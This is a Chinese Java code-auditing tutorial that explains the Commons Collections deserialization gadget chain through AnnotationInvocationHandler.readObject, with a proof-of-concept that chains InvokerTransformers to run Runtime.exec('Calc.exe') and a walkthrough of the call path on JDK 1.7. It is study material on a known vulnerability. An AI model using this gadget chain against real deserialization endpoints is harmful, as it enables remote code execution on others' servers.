zl程序教程

您现在的位置是:首页 >  Java

当前栏目

Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链

2023-04-18 14:13:16 时间

0x00 前言

反序列化总纲

观看顺序:

AnnotationInvocationHandler作为Commons Collections最后一个触发阶段调用链来进行学习

0X01 AnnotationInvocationHandler

首先来说AnnotationInvocationHandler,这个类是继承InvocationHandler,我们主要是要通过AnnotationInvocationHandler来进行触发TransformedMap等调用迭代链的地方。
先来看一下AnnotationInvocationHandler的readObject方法。

在这里插入图片描述
目前已知调用迭代链的方式有三种
TransformedMap

  • put
  • checkSetValue
    • 在setValue中会触发checkSetValue

在readObject方法中可以看到满足了setValue方法,通过setValue就会触发checkSetValue方法
在这里插入图片描述

1. 先上POC

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}),
};
Transformer transformerChain = new
        ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "zeo");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

2、POC原理

首先我们要构造这个类,那么必然要先反射调用这个类,然后再对这个类的构造方法进行传参。
那么第一步就是反射类:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

然后就是获得类的构造方法:
获得私有构造方法需要使用getDeclaredConstructor+setAccessible()为true才可以进行获取所以

Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true);

接着对构造方法进行传参

InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

那么到这里就已经是完成了类的创建。

3. 调用链-TransformedMap

来看一下调用链。
首先是调用readObject中setValue
在这里插入图片描述
接着调用checkSetValue
在这里插入图片描述
接着就是TransformedMap中的checkSetValue
在这里插入图片描述
总结一下就是:

  • AnnotationInvocationHandler - readObject
    • setValue
    • AbstractInputCheckedMapDecorator -setValue
      • checkSetValue
    • TransformedMap - checkSetValue
      • TransformedMap 调用链
      • 迭代链

PS

这里为什么会用innerMap.put(“value”, “value”);
主要原因是因为var7会获取value:
在这里插入图片描述
这里var3中只能使用value获取到value
在这里插入图片描述

0x03 使用条件

  • JDK1.7

主要原因是因为AnnotationInvocationHandler 在1.8之后进行了修改,readObject被改了。

0x04 要点笔记

  • AnnotationInvocationHandler 类
  • 通过getDeclaredConstructor 获取私有构造方法,然后赋值